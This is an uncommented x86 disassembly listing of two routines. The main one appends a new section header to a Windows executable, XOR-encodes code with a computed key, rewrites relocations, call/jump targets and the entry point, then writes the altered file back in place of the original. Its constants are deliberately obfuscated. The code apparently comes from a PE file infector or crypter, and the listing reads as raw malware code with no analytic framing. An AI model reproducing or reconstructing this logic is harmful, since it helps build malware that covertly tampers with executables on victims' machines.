		mov	[ebp+var_31F30], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_844]
		movzx	ecx, word ptr [ecx+6]
		movsx	edi, word ptr ds:100120BCh
		sub	edi, 7
		sub	ecx, edi
		mul	ecx
		mov	[ebp+var_31F34], eax
		mov	eax, [ebp+var_31F30]
		mov	edx, [ebp+var_31F34]
		add	eax, edx
		mov	[ebp+var_31F24], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+0D4h]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_31F20]
		add	edx, eax
		push	edx
		mov	edx, [ebp+var_31F24]
		add	edx, eax
		push	edx
		call	dword ptr ds:10010634h
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		add	eax, 0D0h
		mov	[ebp+var_31F38], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_844]
		movzx	ecx, word ptr [ecx+6]
		mov	edi, ds:10012130h
		add	edi, ds:10012144h
		sub	edi, 3
		sub	ecx, edi
		mul	ecx
		mov	[ebp+var_31F3C], eax
		mov	eax, [ebp+var_31F38]
		mov	edx, eax
		mov	ecx, [ebp+var_31F3C]
		add	[edx], ecx


loc_41CEB1:				; CODE XREF: sub_41C797+5A3j
					; sub_41C797+5BEj ...
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_41E1DA
		mov	[ebp+var_10], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F20], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F20]
		mov	esi, edx
		add	esi, eax
		push	100135CFh
		call	sub_4228CE
		push	eax
		push	esi
		call	dword ptr ds:1000E1F4h
		mov	eax, ds:100120ACh
		add	eax, 1FFFDh
		mov	[esi+8], eax
		mov	eax, [ebp+var_20]
		mov	[esi+0Ch], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+arg_8]
		add	eax, 0Dh
		push	eax
		call	sub_41E1DA
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, ds:10012104h
		add	eax, 0C0000034h
		movsx	edx, word ptr ds:10012100h
		add	eax, edx
		mov	[esi+24h], eax
		mov	eax, ds:10012164h
		add	eax, 6
		movsx	edx, word ptr ds:10012180h
		add	eax, edx
		push	eax
		mov	eax, ds:10012098h
		add	eax, ds:1001209Ch
		sub	eax, 0Fh
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	dword ptr ds:10010640h
		mov	eax, [ebp+var_20]
		mov	[ebp+var_1060],	eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_850], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+var_10]
		add	eax, [esi+10h]
		push	eax
		call	sub_41E1DA
		add	esp, 30h
		mov	[ebp+var_10], eax
		mov	eax, ds:100120ECh
		add	eax, 1FFFAh
		add	eax, ds:10012118h
		add	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [esi+8]
		mov	[eax+50h], edx
		call	dword ptr ds:10011BACh
		mov	edi, ds:10012118h
		movsx	edx, word ptr ds:10012180h
		add	edi, edx
		sub	edi, 6
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		add	edi, edx
		mov	[ebp+var_1064],	edi
		mov	eax, ds:100121C8h
		sub	eax, 2
		mov	edx, [ebp+var_42C]
		mov	ecx, edi
		xor	ecx, 4Dh
		mov	[edx+eax], cl
		mov	edi, ds:100121CCh
		sub	edi, 3
		mov	ecx, [ebp+arg_8]
		shr	ecx, 9
		mov	[edx+edi], cl
		call	dword ptr ds:10011BACh
		mov	edi, [ebp+var_84C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F28], edx
		mov	[ebp+var_31F24], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F28]
		mov	[ecx+edi], dl
		call	dword ptr ds:10011BACh
		mov	edx, ds:100121B4h
		movsx	ecx, word ptr ds:10012114h
		add	edx, ecx
		sub	edx, 2
		add	edi, edx
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F30], edx
		mov	[ebp+var_31F2C], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F30]
		mov	[ecx+edi], dl
		mov	eax, ds:1001215Ch
		add	eax, 37h
		add	eax, ds:10012144h
		mov	[ebp+var_43C], eax
		jmp	short loc_41D0CC
; ---------------------------------------------------------------------------


loc_41D097:				; CODE XREF: sub_41C797+941j
		call	dword ptr ds:10011BACh
		mov	edi, [ebp+var_43C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F38], edx
		mov	[ebp+var_31F34], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F38]
		mov	[ecx+edi], dl
		inc	[ebp+var_43C]


loc_41D0CC:				; CODE XREF: sub_41C797+8FEj
		mov	eax, [ebp+var_84C]
		cmp	[ebp+var_43C], eax
		jb	short loc_41D097
		push	0Dh
		push	10012200h
		lea	eax, [ebp+var_31ED0]
		push	eax
		call	dword ptr ds:10010634h
		mov	eax, [esi+10h]
		add	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_31ED0]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	dword ptr ds:10010634h
		add	esp, 18h
		mov	eax, [esi+14h]
		add	eax, 0Dh
		mov	[ebp+var_1068],	eax
		mov	edx, ds:1001211Ch
		add	edx, ds:100120E4h
		sub	edx, 3
		add	eax, edx
		mov	[ebp+var_424], eax
		jmp	short loc_41D14B
; ---------------------------------------------------------------------------


loc_41D131:				; CODE XREF: sub_41C797+9C3j
		mov	eax, [ebp+var_424]
		add	eax, [ebp+var_4]
		movzx	edx, byte ptr [eax]
		xor	edx, [ebp+var_1064]
		mov	[eax], dl
		inc	[ebp+var_424]


loc_41D14B:				; CODE XREF: sub_41C797+998j
		mov	eax, [ebp+var_1068]
		add	eax, [ebp+arg_8]
		cmp	[ebp+var_424], eax
		jb	short loc_41D131
		movsx	eax, word ptr ds:10012148h
		add	eax, ds:100121B8h
		sub	eax, 6
		mov	[ebp+var_18], eax
		mov	eax, ds:10012164h
		mov	[ebp+var_440], eax
		jmp	loc_41D3D0
; ---------------------------------------------------------------------------


loc_41D17F:				; CODE XREF: sub_41C797+C49j
		mov	eax, 28h
		mul	[ebp+var_440]
		mov	[ebp+var_31F40], eax
		mov	eax, [ebp+var_84C]
		mov	edx, [ebp+var_42C]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F40]
		mov	ebx, edx
		add	ebx, eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F44], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F44]
		mov	esi, edx
		add	esi, eax
		mov	eax, ds:1001211Ch
		add	eax, ds:100121B4h
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_41D228
		mov	eax, ds:100121CCh
		movsx	edx, word ptr ds:10012150h
		add	eax, edx
		sub	eax, 8
		cmp	byte ptr [ebx+eax], 72h
		jnz	short loc_41D228
		mov	eax, ds:10012174h
		add	eax, ds:100121B0h
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 63h
		jnz	short loc_41D228
		mov	eax, [ebx+14h]
		mov	[ebp+var_1178],	eax
		jmp	loc_41D3CA
; ---------------------------------------------------------------------------


loc_41D228:				; CODE XREF: sub_41C797+A56j
					; sub_41C797+A6Dj ...
		movsx	eax, word ptr ds:100121A8h
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_41D26F
		mov	eax, ds:10012104h
		sub	eax, 2
		cmp	byte ptr [ebx+eax], 65h
		jnz	short loc_41D26F
		mov	eax, ds:100121ACh
		inc	eax
		movsx	edx, word ptr ds:100120D0h
		add	eax, edx
		cmp	byte ptr [ebx+eax], 61h
		jnz	short loc_41D26F
		mov	eax, [ebx+14h]
		mov	[ebp+var_117C],	eax
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_1180],	eax
		jmp	loc_41D3CA
; ---------------------------------------------------------------------------


loc_41D26F:				; CODE XREF: sub_41C797+A9Cj
					; sub_41C797+AAAj ...
		mov	eax, ds:10012140h
		add	eax, ds:100120B8h
		sub	eax, 0Ch
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_41D2AB
		movsx	eax, word ptr ds:100120D8h
		add	eax, ds:100121B0h
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 69h
		jnz	short loc_41D2AB
		mov	eax, ds:100120D4h
		add	eax, 4
		cmp	byte ptr [ebx+eax], 61h
		jz	loc_41D3CA


loc_41D2AB:				; CODE XREF: sub_41C797+AEAj
					; sub_41C797+B00j
		push	ebx
		push	esi
		call	dword ptr ds:1000E1F4h
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		mov	eax, [ebp+var_20]
		mov	[esi+0Ch], eax
		mov	eax, [ebx+10h]
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, [ebx+24h]
		mov	[esi+24h], eax
		mov	eax, ds:100120F0h
		inc	eax
		add	eax, ds:1001210Ch
		push	eax
		mov	eax, ds:1001211Ch
		sub	eax, 3
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	dword ptr ds:10010640h
		mov	edi, [ebp+var_18]
		mov	edx, [ebx+0Ch]
		mov	[ebp+edi*4+var_420], edx
		mov	edx, [ebx+8]
		mov	[ebp+edi*4+var_83C], edx
		mov	edx, [esi+0Ch]
		mov	[ebp+edi*4+var_C4C], edx
		mov	edx, [esi+14h]
		mov	[ebp+edi*4+var_1050], edx
		inc	[ebp+var_18]
		mov	eax, [ebx+10h]
		add	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_31F3C], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_41E1DA
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, ds:100120F0h
		add	eax, ds:100121C8h
		sub	eax, 5
		cmp	byte ptr [ebx+eax], 64h
		jnz	short loc_41D378
		mov	eax, [ebp+var_31F3C]
		cmp	[ebp+var_10], eax
		jbe	short loc_41D378
		mov	ecx, [ebp+var_10]
		sub	ecx, eax
		mov	[ebp+var_31F48], ecx
		mov	eax, ecx
		add	[esi+8], eax
		mov	eax, ecx
		add	[esi+10h], eax


loc_41D378:				; CODE XREF: sub_41C797+BBFj
					; sub_41C797+BCAj
		mov	eax, ds:10012158h
		add	eax, 0FFAh
		add	eax, ds:1001217Ch
		push	eax
		mov	eax, [ebp+var_20]
		add	eax, [ebx+8]
		push	eax
		call	sub_41E1DA
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [ebx+8]
		mov	[eax+50h], edx
		push	dword ptr [esi+10h]
		mov	eax, [ebx+14h]
		add	eax, [ebp+var_42C]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	dword ptr ds:10010634h
		add	esp, 14h


loc_41D3CA:				; CODE XREF: sub_41C797+A8Cj
					; sub_41C797+AD3j ...
		inc	[ebp+var_440]


loc_41D3D0:				; CODE XREF: sub_41C797+9E3j
		mov	eax, [ebp+var_844]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_440], eax
		jb	loc_41D17F
		mov	eax, [ebp+var_1178]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_14], eax


loc_41D3F5:				; CODE XREF: sub_41C797+E9Bj
		mov	eax, ds:1001212Ch
		movsx	edx, word ptr ds:10012180h
		add	eax, edx
		sub	eax, 0Bh
		mov	[ebp+var_1C], eax
		jmp	short loc_41D467
; ---------------------------------------------------------------------------


loc_41D40B:				; CODE XREF: sub_41C797+CD6j
		mov	edi, [ebp+var_1C]
		mov	edx, [ebp+var_14]
		mov	edx, [edx]
		cmp	[ebp+edi*4+var_420], edx
		jnz	short loc_41D427
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	[ebp+var_C50], eax


loc_41D427:				; CODE XREF: sub_41C797+C83j
		mov	edi, [ebp+var_1C]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		mov	edi, [ebp+var_14]
		cmp	edx, [edi]
		jbe	short loc_41D464
		mov	edi, [ebp+var_1C]
		mov	edi, [ebp+edi*4+var_1050]
		mov	[ebp+var_106C],	edi
		mov	edi, [ebp+var_1C]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1054],	edi
		jmp	short loc_41D46F
; ---------------------------------------------------------------------------


loc_41D464:				; CODE XREF: sub_41C797+CA9j
		inc	[ebp+var_1C]


loc_41D467:				; CODE XREF: sub_41C797+C72j
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], eax
		jb	short loc_41D40B


loc_41D46F:				; CODE XREF: sub_41C797+CCBj
		movsx	eax, word ptr ds:10012180h
		add	eax, ds:10012138h
		sub	eax, 0Eh
		mov	[ebp+var_428], eax
		jmp	loc_41D5F8
; ---------------------------------------------------------------------------


loc_41D48A:				; CODE XREF: sub_41C797+E6Dj
		mov	eax, [ebp+var_428]
		movsx	edx, word ptr ds:10012090h
		add	edx, 7
		add	eax, edx
		add	eax, [ebp+var_14]
		mov	[ebp+var_31F40], eax
		mov	ax, [eax]
		mov	word ptr [ebp+var_31F3C], ax
		movzx	eax, word ptr [ebp+var_31F3C]
		mov	edx, ds:100120A0h
		sub	edx, 4
		cmp	eax, edx
		jz	loc_41D60A
		movzx	edi, word ptr [ebp+var_31F3C]
		mov	ecx, ds:10012198h
		add	ecx, 4
		sar	edi, cl
		mov	word ptr [ebp+var_31F44+2], di
		movzx	edi, word ptr [ebp+var_31F3C]
		mov	edx, ds:100121CCh
		add	edx, ds:10012104h
		mov	ecx, edx
		sub	ecx, 3
		shl	edi, cl
		mov	word ptr [ebp+var_31F3C+2], di
		movzx	edi, word ptr [ebp+var_31F3C+2]
		mov	ecx, ds:10012098h
		sub	ecx, 3
		sar	edi, cl
		mov	word ptr [ebp+var_31F3C+2], di
		movzx	eax, word ptr [ebp+var_31F3C+2]
		mov	edx, ds:1001210Ch
		add	edx, ds:10012164h
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_41D550
		movsx	eax, word ptr ds:10012100h
		add	eax, ds:10012104h
		sub	eax, 0Ch
		cmp	[ebp+var_428], eax
		jnz	loc_41D60A


loc_41D550:				; CODE XREF: sub_41C797+D9Bj
		mov	eax, [ebp+var_844]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		movzx	edx, word ptr [ebp+var_31F3C+2]
		add	eax, edx
		mov	[ebp+var_31F48], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1054]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F3C+2]
		add	eax, edx
		mov	[ebp+var_31F4C], eax
		sub	eax, [ebp+var_31F48]
		mov	[ebp+var_31F50], eax
		movzx	eax, word ptr [ebp+var_31F44+2]
		mov	edx, ds:10012098h
		add	edx, ds:1001218Ch
		sub	edx, 5
		cmp	eax, edx
		jnz	short loc_41D5E4
		mov	eax, [ebp+var_106C]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F3C+2]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F54], eax
		mov	edx, [ebp+var_31F50]
		add	[eax], edx


loc_41D5E4:				; CODE XREF: sub_41C797+E20j
		mov	eax, ds:1001217Ch
		add	eax, ds:100120C4h
		sub	eax, 8
		add	[ebp+var_428], eax


loc_41D5F8:				; CODE XREF: sub_41C797+CEEj
		mov	eax, [ebp+var_14]
		mov	eax, [eax+4]
		cmp	[ebp+var_428], eax
		jb	loc_41D48A


loc_41D60A:				; CODE XREF: sub_41C797+D2Aj
					; sub_41C797+DB3j
		mov	eax, [ebp+var_14]
		mov	edx, [eax+4]
		add	edx, eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_844]
		mov	eax, [eax+0A4h]
		mov	edx, [ebp+var_1178]
		add	edx, [ebp+var_42C]
		add	eax, edx
		cmp	[ebp+var_14], eax
		jb	loc_41D3F5
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+28h]
		mov	[ebp+var_1184],	ecx
		mov	edx, [ebp+var_1060]
		mov	[eax+28h], edx
		add	eax, 60h
		mov	edx, [ebp+var_844]
		mov	edx, [edx+60h]
		add	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 68h
		mov	edx, [ebp+var_844]
		mov	edx, [edx+68h]
		add	[eax], edx
		mov	eax, [ebp+var_8]
		movsx	edx, word ptr ds:100120B0h
		mov	ecx, ds:10012120h
		lea	edx, [edx+ecx+3]
		mov	[eax+44h], dx
		movsx	edx, word ptr ds:10012110h
		mov	ecx, ds:100120ACh
		lea	edx, [edx+ecx+1]
		mov	[eax+1Ah], dl
		movsx	eax, word ptr ds:10012110h
		mov	edx, [ebp+var_8]
		mov	ecx, eax
		add	ecx, eax
		mov	eax, ecx
		sub	eax, 7
		mov	[edx+46h], ax
		mov	eax, [ebp+var_117C]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EDC], eax
		mov	eax, [ebp+var_117C]
		mov	edx, [ebp+var_31EDC]
		add	eax, [edx+1Ch]
		sub	eax, [ebp+var_1180]
		mov	[ebp+var_31EE0], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EE4], eax
		mov	eax, [eax]
		mov	[ebp+var_1058],	eax
		movsx	eax, word ptr ds:10012100h
		add	eax, ds:100120C0h
		sub	eax, 0Ah
		mov	[ebp+var_24], eax
		jmp	short loc_41D746
; ---------------------------------------------------------------------------


loc_41D705:				; CODE XREF: sub_41C797+FB5j
		mov	edi, [ebp+var_24]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		cmp	edx, [ebp+var_1058]
		jbe	short loc_41D743
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_420]
		mov	[ebp+var_1188],	edi
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1190],	edi
		jmp	short loc_41D74E
; ---------------------------------------------------------------------------


loc_41D743:				; CODE XREF: sub_41C797+F88j
		inc	[ebp+var_24]


loc_41D746:				; CODE XREF: sub_41C797+F6Cj
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_24], eax
		jb	short loc_41D705


loc_41D74E:				; CODE XREF: sub_41C797+FAAj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1190]
		add	eax, [ebp+var_1058]
		sub	eax, [ebp+var_1188]
		mov	[ebp+var_118C],	eax
		mov	eax, [ebp+var_844]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1058]
		mov	[ebp+var_1058],	eax
		mov	eax, [ebp+var_850]
		mov	[ebp+var_C], eax
		jmp	loc_41DA05
; ---------------------------------------------------------------------------


loc_41D78F:				; CODE XREF: sub_41C797+127Aj
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	[ebp+var_31F3C], edx
		mov	ecx, ds:100120F8h
		movzx	edi, byte ptr [edx+eax]
		movsx	edx, word ptr ds:10012150h
		lea	edx, [edx+ecx+0E2h]
		cmp	edi, edx
		jnz	loc_41D8DA
		mov	edx, ds:10012188h
		add	edx, ds:100120C0h
		mov	edi, eax
		add	edi, edx
		mov	edx, [ebp+var_31F3C]
		movzx	edx, byte ptr [edx+edi]
		movsx	edi, word ptr ds:100120D0h
		add	edi, ds:100121B0h
		cmp	edx, edi
		jnz	loc_41D8DA
		mov	edx, eax
		add	edx, ecx
		mov	ecx, [ebp+var_31F3C]
		movzx	edx, byte ptr [ecx+edx]
		movsx	ecx, word ptr ds:10012168h
		movsx	edi, word ptr ds:100120F4h
		add	ecx, edi
		sub	ecx, 11h
		cmp	edx, ecx
		jnz	loc_41D8DA
		mov	edx, ds:100121B4h
		add	edx, 2
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F3C]
		movzx	edx, byte ptr [edx+ecx]
		cmp	edx, ds:10012108h
		jnz	loc_41D8DA
		mov	edx, ds:100121ACh
		add	edx, ds:100121A0h
		sub	edx, 6
		add	eax, edx
		mov	edx, [ebp+var_31F3C]
		movzx	eax, byte ptr [edx+eax]
		movsx	edx, word ptr ds:10012114h
		movsx	ecx, word ptr ds:10012154h
		add	edx, ecx
		sub	edx, 0Ah
		cmp	eax, edx
		jnz	short loc_41D8DA
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F40], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1184]
		mov	[ebp+var_31F44], eax
		mov	eax, ds:10012130h
		add	eax, 0FFFFFFFFh
		sub	eax, [ebp+var_31F40]
		add	eax, [ebp+var_31F44]
		movsx	edx, word ptr ds:100120D0h
		add	edx, 4
		sub	eax, edx
		mov	[ebp+var_31F48], eax
		mov	edi, ds:1001217Ch
		mov	edx, [ebp+var_C]
		mov	ecx, ds:100120C4h
		sub	ecx, 3
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-18h], ecx


loc_41D8DA:				; CODE XREF: sub_41C797+101Ej
					; sub_41C797+104Dj ...
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		movzx	ecx, byte ptr [edx+eax]
		mov	edi, ds:100121A4h
		add	edi, 0E0h
		add	edi, ds:100120B4h
		cmp	ecx, edi
		jnz	loc_41DA02
		mov	ecx, ds:1001210Ch
		sub	ecx, 6
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, ds:10012140h
		sub	edi, 8
		cmp	ecx, edi
		jnz	loc_41DA02
		movsx	ecx, word ptr ds:10012110h
		sub	ecx, 2
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		movsx	edi, word ptr ds:100121A8h
		cmp	ecx, edi
		jnz	loc_41DA02
		movsx	ecx, word ptr ds:10012128h
		add	ecx, 3
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		movsx	edi, word ptr ds:100120B0h
		sub	edi, 8
		cmp	ecx, edi
		jnz	loc_41DA02
		add	eax, ds:100120B8h
		movzx	eax, byte ptr [edx+eax]
		mov	edx, ds:10012144h
		sub	edx, 5
		cmp	eax, edx
		jnz	loc_41DA02
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F40], eax
		mov	eax, [ebp+var_118C]
		mov	[ebp+var_31F44], eax
		mov	eax, ds:100120F0h
		add	eax, 0FFFFFFFBh
		sub	eax, [ebp+var_31F40]
		add	eax, [ebp+var_31F44]
		movsx	edx, word ptr ds:100120B0h
		sub	edx, 4
		sub	eax, edx
		mov	[ebp+var_31F48], eax
		mov	edi, ds:10012098h
		movsx	edx, word ptr ds:1001219Ch
		mov	ecx, edi
		add	ecx, edx
		mov	edx, [ebp+var_C]
		movsx	eax, word ptr ds:100121BCh
		add	eax, edi
		mov	edi, eax
		sub	edi, 0Ch
		add	edx, edi
		mov	edi, edx
		add	edi, [ebp+var_4]
		mov	edx, [ebp+var_31F48]
		mov	[edi+ecx*4-34h], edx


loc_41DA02:				; CODE XREF: sub_41C797+1161j
					; sub_41C797+1183j ...
		inc	[ebp+var_C]


loc_41DA05:				; CODE XREF: sub_41C797+FF3j
		mov	eax, [ebp+var_850]
		add	eax, 0Dh
		cmp	[ebp+var_C], eax
		jb	loc_41D78F
		push	[ebp+var_1070]
		call	dword ptr ds:10010650h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_116F]
		push	eax
		call	dword ptr ds:1000E1F4h
		add	esp, 8
		lea	ecx, [ebp+var_116F]
		or	eax, 0FFFFFFFFh


loc_41DA3F:				; CODE XREF: sub_41C797+12ADj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41DA3F
		mov	[ebp+var_31ED4], eax
		mov	edx, ds:10012198h
		add	edx, ds:10012158h
		sub	edx, 5
		sub	eax, edx
		mov	[ebp+eax+var_116F], 69h
		mov	eax, [ebp+var_31ED4]
		mov	edx, ds:100120C0h
		movsx	ecx, word ptr ds:10012180h
		add	edx, ecx
		sub	edx, 5
		sub	eax, edx
		mov	[ebp+eax+var_116F], 76h
		mov	eax, [ebp+var_31ED4]
		mov	edx, ds:10012140h
		sub	edx, 7
		sub	eax, edx
		mov	[ebp+eax+var_116F], 72h
		push	0
		mov	eax, ds:10012098h
		movsx	edx, word ptr ds:10012128h
		add	eax, edx
		sub	eax, 7
		push	eax
		push	2
		push	0
		mov	eax, ds:1001218Ch
		add	eax, ds:100121B0h
		sub	eax, 1
		push	eax
		push	40000000h
		lea	eax, [ebp+var_116F]
		push	eax
		call	dword ptr ds:10011788h
		mov	[ebp+var_1070],	eax
		push	0
		lea	eax, [ebp+var_31ED8]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	dword ptr ds:10011B8Ch
		push	[ebp+var_1070]
		call	dword ptr ds:10010650h
		push	[ebp+var_4]
		call	dword ptr ds:1000E618h
		push	0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_116F]
		push	eax
		call	dword ptr ds:1000F364h
		lea	eax, [ebp+var_116F]
		push	eax
		call	dword ptr ds:1000C008h
		mov	eax, 1
		jmp	short loc_41DB4C
; ---------------------------------------------------------------------------


loc_41DB35:				; CODE XREF: sub_41C797+BAj
					; sub_41C797+D4j ...
		push	[ebp+var_1070]
		call	dword ptr ds:10010650h
		push	[ebp+var_4]
		call	dword ptr ds:1000E618h
		xor	eax, eax


loc_41DB4C:				; CODE XREF: sub_41C797+56j
					; sub_41C797+139Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C797	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB51	proc near		; CODE XREF: sub_41BB8D+197p
					; sub_41BB8D+23Bp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_41DB66:				; CODE XREF: sub_41DB51+1Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41DB66
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax]
		or	eax, 0FFFFFFFFh


loc_41DB78:				; CODE XREF: sub_41DB51+2Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41DB78
		mov	esi, eax
		mov	eax, ds:10012104h
		add	eax, ds:10012164h
		sub	eax, 3
		mov	[ebp+var_4], eax
		jmp	short loc_41DBEC
; ---------------------------------------------------------------------------


loc_41DB94:				; CODE XREF: sub_41DB51+A1j
		movsx	eax, word ptr ds:1001219Ch
		mov	ebx, eax
		add	ebx, ds:10012160h
		sub	ebx, 0Eh
		mov	eax, ds:1001210Ch
		mov	edi, eax
		add	edi, ds:100120A0h
		sub	edi, 0Bh
		jmp	short loc_41DBE5
; ---------------------------------------------------------------------------


loc_41DBB8:				; CODE XREF: sub_41DB51+96j
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+edi]
		cmp	eax, edx
		jnz	short loc_41DBE9
		inc	ebx
		cmp	ebx, esi
		jnz	short loc_41DBE4
		inc	[ebp+var_8]
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jnz	short loc_41DBE4
		mov	eax, [ebp+var_4]
		jmp	short loc_41DBF9
; ---------------------------------------------------------------------------


loc_41DBE4:				; CODE XREF: sub_41DB51+81j
					; sub_41DB51+8Cj
		inc	edi


loc_41DBE5:				; CODE XREF: sub_41DB51+65j
		cmp	edi, esi
		jb	short loc_41DBB8


loc_41DBE9:				; CODE XREF: sub_41DB51+7Cj
		inc	[ebp+var_4]


loc_41DBEC:				; CODE XREF: sub_41DB51+41j
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	short loc_41DB94
		mov	eax, 0FFFFh


loc_41DBF9:				; CODE XREF: sub_41DB51+91j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DB51	endp


; =============== S U B	R O U T	I N E =======================================

